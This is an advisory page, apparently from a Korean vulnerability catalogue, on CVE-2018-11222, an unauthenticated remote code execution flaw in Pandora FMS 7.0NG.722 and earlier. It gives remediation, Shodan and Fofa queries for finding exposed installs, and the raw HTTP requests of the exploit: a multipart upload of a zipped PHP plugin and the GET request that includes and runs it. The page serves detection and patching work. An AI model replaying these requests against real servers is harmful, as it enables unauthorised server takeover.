🔙 목록으로 돌아가기

CVE-2018-11222: Pandora FMS <=7.0NG.722 - Remote Code Execution

TitlePandora FMS <=7.0NG.722 - Remote Code Execution
Authoriamnoooob,rootxharsh,pdresearch
SeverityHigh
ImpactUnauthenticated attackers can upload malicious PHP files and execute them via local file inclusion, leading to complete server compromise and access to all managed systems.
RemediationUpgrade to Pandora FMS version 7.0NG.723 or later.
CVSS Score7.5
EPSS Score0.03828
CVE IDCVE-2018-11222
CWE IDCWE-20
Shodan Queryhttp.html:"pandora fms - installation wizard"http.title:"pandora fms"
Fofa Querybody="pandora fms - installation wizard"title="pandora fms"
Tags cve cve2018 rce file-upload lfi pandora intrusive vkev vuln

🔍 Vulnerability Description

Pandora FMS versions <=7.0NG.722 are vulnerable to unauthenticated remote code execution by chaining an unrestricted file upload (CVE-2018-11221) and a local file inclusion (CVE-2018-11222). An attacker can upload a malicious PHP file as a plugin and execute it via LFI, leading to full compromise of the server.

🌐 HTTP Request

POST /pandora_console/ajax.php?page=include/ajax/update_manager.ajax&upload_file=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Content-Length: 658
Connection: keep-alive
Content-Type: multipart/form-data; boundary=------------------------Sh5BXowDBYvdaiPqkMSZas
Accept-Encoding: gzip
Connection: close

--------------------------Sh5BXowDBYvdaiPqkMSZas

Content-Disposition: form-data; name="name"



upfile

--------------------------Sh5BXowDBYvdaiPqkMSZas

Content-Disposition: form-data; name="filename"



plugin.oum

--------------------------Sh5BXowDBYvdaiPqkMSZas

Content-Disposition: form-data; name="upfile"; filename="plugin.oum"

Content-Type: application/octet-stream



PKplugin/phpinfo.php��/�(PHM��WHJ,N53�OIM�OI�P���p�/HO)�p+M�6�KrOq6*(J4�����R״V����PK9�,JDPK9�,JDplugin/phpinfo.phpPK@�

--------------------------Sh5BXowDBYvdaiPqkMSZas--
GET /pandora_console/ajax.php?page=wp-admin//plugin/phpinfo HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:129.0) Gecko/20100101 Firefox/129.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-11222.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-11222.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A